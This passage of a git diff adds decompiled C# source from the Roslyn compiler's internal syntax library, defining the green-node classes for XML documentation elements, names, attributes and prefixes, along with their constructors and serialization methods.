((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlElementStartTagSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlElementStartTagSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlElementStartTagSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlElementStartTagSyntax, (IEnumerable)annotations); + } + return xmlElementStartTagSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlElementStartTagSyntax(base.Kind, lessThanToken, name, attributes, greaterThanToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlElementStartTagSyntax(base.Kind, lessThanToken, name, attributes, greaterThanToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlElementStartTagSyntax(ObjectReader reader) + : base(reader) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lessThanToken = syntaxToken; + XmlNameSyntax xmlNameSyntax = (XmlNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlNameSyntax); + name = xmlNameSyntax; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributes = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + greaterThanToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)lessThanToken); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)attributes); + writer.WriteValue((IObjectWritable)(object)greaterThanToken); + } + + static XmlElementStartTagSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlElementStartTagSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlElementStartTagSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementSyntax.cs new file mode 100644 index 0000000..17c355a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlElementSyntax : XmlNodeSyntax +{ + internal readonly XmlElementStartTagSyntax startTag; + + internal readonly GreenNode? content; + + internal readonly XmlElementEndTagSyntax endTag; + + public XmlElementStartTagSyntax StartTag => startTag; + + public SyntaxList Content => new SyntaxList(content); + + public XmlElementEndTagSyntax EndTag => endTag; + + internal XmlElementSyntax(SyntaxKind kind, XmlElementStartTagSyntax startTag, GreenNode? content, XmlElementEndTagSyntax endTag, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startTag); + this.startTag = startTag; + if (content != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(content); + this.content = content; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endTag); + this.endTag = endTag; + } + + internal XmlElementSyntax(SyntaxKind kind, XmlElementStartTagSyntax startTag, GreenNode? content, XmlElementEndTagSyntax endTag, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startTag); + this.startTag = startTag; + if (content != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(content); + this.content = content; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endTag); + this.endTag = endTag; + } + + internal XmlElementSyntax(SyntaxKind kind, XmlElementStartTagSyntax startTag, GreenNode? content, XmlElementEndTagSyntax endTag) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startTag); + this.startTag = startTag; + if (content != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(content); + this.content = content; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endTag); + this.endTag = endTag; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => startTag, + 1 => content, + 2 => endTag, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlElement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlElement(this); + } + + public XmlElementSyntax Update(XmlElementStartTagSyntax startTag, SyntaxList content, XmlElementEndTagSyntax endTag) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (startTag != StartTag || content != Content || endTag != EndTag) + { + XmlElementSyntax xmlElementSyntax = SyntaxFactory.XmlElement(startTag, content, endTag); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlElementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlElementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlElementSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlElementSyntax, (IEnumerable)annotations); + } + return xmlElementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlElementSyntax(base.Kind, startTag, content, endTag, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlElementSyntax(base.Kind, startTag, content, endTag, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlElementSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + XmlElementStartTagSyntax xmlElementStartTagSyntax = (XmlElementStartTagSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlElementStartTagSyntax); + startTag = xmlElementStartTagSyntax; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + content = val; + } + XmlElementEndTagSyntax xmlElementEndTagSyntax = (XmlElementEndTagSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlElementEndTagSyntax); + endTag = xmlElementEndTagSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)startTag); + writer.WriteValue((IObjectWritable)(object)content); + writer.WriteValue((IObjectWritable)(object)endTag); + } + + static XmlElementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlElementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlElementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlEmptyElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlEmptyElementSyntax.cs new file mode 100644 index 0000000..f33b264 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlEmptyElementSyntax.cs @@ -0,0 +1,174 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlEmptyElementSyntax : XmlNodeSyntax +{ + internal readonly SyntaxToken lessThanToken; + + internal readonly XmlNameSyntax name; + + internal readonly GreenNode? attributes; + + internal readonly SyntaxToken slashGreaterThanToken; + + public SyntaxToken LessThanToken => lessThanToken; + + public XmlNameSyntax Name => name; + + public SyntaxList Attributes => new SyntaxList(attributes); + + public SyntaxToken SlashGreaterThanToken => slashGreaterThanToken; + + internal XmlEmptyElementSyntax(SyntaxKind kind, SyntaxToken lessThanToken, XmlNameSyntax name, GreenNode? attributes, SyntaxToken slashGreaterThanToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)slashGreaterThanToken); + this.slashGreaterThanToken = slashGreaterThanToken; + } + + internal XmlEmptyElementSyntax(SyntaxKind kind, SyntaxToken lessThanToken, XmlNameSyntax name, GreenNode? attributes, SyntaxToken slashGreaterThanToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)slashGreaterThanToken); + this.slashGreaterThanToken = slashGreaterThanToken; + } + + internal XmlEmptyElementSyntax(SyntaxKind kind, SyntaxToken lessThanToken, XmlNameSyntax name, GreenNode? attributes, SyntaxToken slashGreaterThanToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)slashGreaterThanToken); + this.slashGreaterThanToken = slashGreaterThanToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => lessThanToken, + 1 => name, + 2 => attributes, + 3 => slashGreaterThanToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlEmptyElement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlEmptyElement(this); + } + + public XmlEmptyElementSyntax Update(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken slashGreaterThanToken) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken != LessThanToken || name != Name || attributes != Attributes || slashGreaterThanToken != SlashGreaterThanToken) + { + XmlEmptyElementSyntax xmlEmptyElementSyntax = SyntaxFactory.XmlEmptyElement(lessThanToken, name, attributes, slashGreaterThanToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlEmptyElementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlEmptyElementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlEmptyElementSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlEmptyElementSyntax, (IEnumerable)annotations); + } + return xmlEmptyElementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlEmptyElementSyntax(base.Kind, lessThanToken, name, attributes, slashGreaterThanToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlEmptyElementSyntax(base.Kind, lessThanToken, name, attributes, slashGreaterThanToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlEmptyElementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lessThanToken = syntaxToken; + XmlNameSyntax xmlNameSyntax = (XmlNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlNameSyntax); + name = xmlNameSyntax; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributes = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + slashGreaterThanToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)lessThanToken); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)attributes); + writer.WriteValue((IObjectWritable)(object)slashGreaterThanToken); + } + + static XmlEmptyElementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlEmptyElementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlEmptyElementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNameAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNameAttributeSyntax.cs new file mode 100644 index 0000000..4407b0a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNameAttributeSyntax.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlNameAttributeSyntax : XmlAttributeSyntax +{ + internal readonly XmlNameSyntax name; + + internal readonly SyntaxToken equalsToken; + + internal readonly SyntaxToken startQuoteToken; + + internal readonly IdentifierNameSyntax identifier; + + internal readonly SyntaxToken endQuoteToken; + + public override XmlNameSyntax Name => name; + + public override SyntaxToken EqualsToken => equalsToken; + + public override SyntaxToken StartQuoteToken => startQuoteToken; + + public IdentifierNameSyntax Identifier => identifier; + + public override SyntaxToken EndQuoteToken => endQuoteToken; + + internal XmlNameAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, IdentifierNameSyntax identifier, SyntaxToken endQuoteToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal XmlNameAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, IdentifierNameSyntax identifier, SyntaxToken endQuoteToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal XmlNameAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, IdentifierNameSyntax identifier, SyntaxToken endQuoteToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => equalsToken, + 2 => startQuoteToken, + 3 => identifier, + 4 => endQuoteToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameAttributeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlNameAttribute(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlNameAttribute(this); + } + + public XmlNameAttributeSyntax Update(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, IdentifierNameSyntax identifier, SyntaxToken endQuoteToken) + { + if (name != Name || equalsToken != EqualsToken || startQuoteToken != StartQuoteToken || identifier != Identifier || endQuoteToken != EndQuoteToken) + { + XmlNameAttributeSyntax xmlNameAttributeSyntax = SyntaxFactory.XmlNameAttribute(name, equalsToken, startQuoteToken, identifier, endQuoteToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlNameAttributeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlNameAttributeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlNameAttributeSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlNameAttributeSyntax, (IEnumerable)annotations); + } + return xmlNameAttributeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlNameAttributeSyntax(base.Kind, name, equalsToken, startQuoteToken, identifier, endQuoteToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlNameAttributeSyntax(base.Kind, name, equalsToken, startQuoteToken, identifier, endQuoteToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlNameAttributeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + XmlNameSyntax xmlNameSyntax = (XmlNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlNameSyntax); + name = xmlNameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + equalsToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + startQuoteToken = syntaxToken2; + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifierNameSyntax); + identifier = identifierNameSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endQuoteToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)equalsToken); + writer.WriteValue((IObjectWritable)(object)startQuoteToken); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)endQuoteToken); + } + + static XmlNameAttributeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlNameAttributeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlNameAttributeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNameSyntax.cs new file mode 100644 index 0000000..903ca2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNameSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlNameSyntax : CSharpSyntaxNode +{ + internal readonly XmlPrefixSyntax? prefix; + + internal readonly SyntaxToken localName; + + public XmlPrefixSyntax? Prefix => prefix; + + public SyntaxToken LocalName => localName; + + internal XmlNameSyntax(SyntaxKind kind, XmlPrefixSyntax? prefix, SyntaxToken localName, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + if (prefix != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)prefix); + this.prefix = prefix; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)localName); + this.localName = localName; + } + + internal XmlNameSyntax(SyntaxKind kind, XmlPrefixSyntax? prefix, SyntaxToken localName, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + if (prefix != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)prefix); + this.prefix = prefix; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)localName); + this.localName = localName; + } + + internal XmlNameSyntax(SyntaxKind kind, XmlPrefixSyntax? prefix, SyntaxToken localName) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + if (prefix != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)prefix); + this.prefix = prefix; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)localName); + this.localName = localName; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => prefix, + 1 => localName, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlName(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlName(this); + } + + public XmlNameSyntax Update(XmlPrefixSyntax prefix, SyntaxToken localName) + { + if (prefix != Prefix || localName != LocalName) + { + XmlNameSyntax xmlNameSyntax = SyntaxFactory.XmlName(prefix, localName); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlNameSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlNameSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlNameSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlNameSyntax, (IEnumerable)annotations); + } + return xmlNameSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlNameSyntax(base.Kind, prefix, localName, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlNameSyntax(base.Kind, prefix, localName, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlNameSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + XmlPrefixSyntax xmlPrefixSyntax = (XmlPrefixSyntax)reader.ReadValue(); + if (xmlPrefixSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlPrefixSyntax); + prefix = xmlPrefixSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + localName = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)prefix); + writer.WriteValue((IObjectWritable)(object)localName); + } + + static XmlNameSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlNameSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlNameSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNodeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNodeSyntax.cs new file mode 100644 index 0000000..70e60e3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlNodeSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class XmlNodeSyntax : CSharpSyntaxNode +{ + internal XmlNodeSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal XmlNodeSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected XmlNodeSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlPrefixSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlPrefixSyntax.cs new file mode 100644 index 0000000..fb1836a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlPrefixSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlPrefixSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken prefix; + + internal readonly SyntaxToken colonToken; + + public SyntaxToken Prefix => prefix; + + public SyntaxToken ColonToken => colonToken; + + internal XmlPrefixSyntax(SyntaxKind kind, SyntaxToken prefix, SyntaxToken colonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)prefix); + this.prefix = prefix; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal XmlPrefixSyntax(SyntaxKind kind, SyntaxToken prefix, SyntaxToken colonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)prefix); + this.prefix = 